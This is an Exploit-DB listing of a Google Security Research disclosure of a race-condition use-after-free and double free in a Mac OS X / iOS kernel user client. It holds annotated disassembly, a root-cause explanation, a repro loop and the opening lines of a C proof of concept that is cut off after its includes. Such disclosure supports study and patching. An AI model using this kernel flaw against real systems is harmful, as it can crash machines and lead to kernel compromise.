Exploit-DB #39365
Description: Apple Mac OSX / iOS Kernel - IOHDIXControllUserClient::clientClose Use-After-Free/Double-Free
Type: dos
Platform: multiple
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=599

OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:[PII_REDACTED]005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:[PII_REDACTED]005B38                 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:[PII_REDACTED]005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:[PII_REDACTED]005B38                                         ; DATA XREF: __const:[PII_REDACTED]00F820o
__text:[PII_REDACTED]005B38                 push    rbp
__text:[PII_REDACTED]005B39                 mov     rbp, rsp
__text:[PII_REDACTED]005B3C                 push    rbx
__text:[PII_REDACTED]005B3D                 push    rax
__text:[PII_REDACTED]005B3E                 mov     rbx, rdi
__text:[PII_REDACTED]005B41                 mov     rax, [rbx]
__text:[PII_REDACTED]005B44                 xor     esi, esi
__text:[PII_REDACTED]005B46                 call    qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:[PII_REDACTED]005B4C                 mov     qword ptr [rbx+208h], 0
__text:[PII_REDACTED]005B57                 mov     qword ptr [rbx+1F8h], 0
__text:[PII_REDACTED]005B62                 mov     rdi, [rbx+200h]              ; <-- this+0x200           --+
__text:[PII_REDACTED]005B69                 call    _vfs_context_rele            ; pass to vfs_context_rele   +- should be locked!
__text:[PII_REDACTED]005B6E                 mov     qword ptr [rbx+200h], 0      ; NULL out this+0x200      --+
__text:[PII_REDACTED]005B79                 xor     eax, eax
__text:[PII_REDACTED]005B7B                 add     rsp, 8
__text:[PII_REDACTED]005B7F                 pop     rbx
__text:[PII_REDACTED]005B80                 pop     rbp
__text:[PII_REDACTED]005B81                 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
  if (ctx) {
    if (IS_VALID_CRED(ctx->vc_ucred))
      kauth_cred_unref(&ctx->vc_ucred);
    kfree(ctx, sizeof(struct vfs_context));
  }
  return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
*/

// ianbeer

// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
/*
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose

Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:

__text:[PII_REDACTED]005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
__text:[PII_REDACTED]005B38                 public __ZN26IOHDIXControllerUserClient11clientCloseEv
__text:[PII_REDACTED]005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
__text:[PII_REDACTED]005B38                                         ; DATA XREF: __const:[PII_REDACTED]00F820o
__text:[PII_REDACTED]005B38                 push    rbp
__text:[PII_REDACTED]005B39                 mov     rbp, rsp
__text:[PII_REDACTED]005B3C                 push    rbx
__text:[PII_REDACTED]005B3D                 push    rax
__text:[PII_REDACTED]005B3E                 mov     rbx, rdi
__text:[PII_REDACTED]005B41                 mov     rax, [rbx]
__text:[PII_REDACTED]005B44                 xor     esi, esi
__text:[PII_REDACTED]005B46                 call    qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
__text:[PII_REDACTED]005B4C                 mov     qword ptr [rbx+208h], 0
__text:[PII_REDACTED]005B57                 mov     qword ptr [rbx+1F8h], 0
__text:[PII_REDACTED]005B62                 mov     rdi, [rbx+200h]              ; <-- this+0x200           --+
__text:[PII_REDACTED]005B69                 call    _vfs_context_rele            ; pass to vfs_context_rele   +- should be locked!
__text:[PII_REDACTED]005B6E                 mov     qword ptr [rbx+200h], 0      ; NULL out this+0x200      --+
__text:[PII_REDACTED]005B79                 xor     eax, eax
__text:[PII_REDACTED]005B7B                 add     rsp, 8
__text:[PII_REDACTED]005B7F                 pop     rbx
__text:[PII_REDACTED]005B80                 pop     rbp
__text:[PII_REDACTED]005B81                 retn

At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:

int
vfs_context_rele(vfs_context_t ctx)
{
  if (ctx) {
    if (IS_VALID_CRED(ctx->vc_ucred))
      kauth_cred_unref(&ctx->vc_ucred);
    kfree(ctx, sizeof(struct vfs_context));
  }
  return(0);
}

This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;

Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
on the credential and double free the vfs_context.

This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop. 

Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_closehdix; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_conn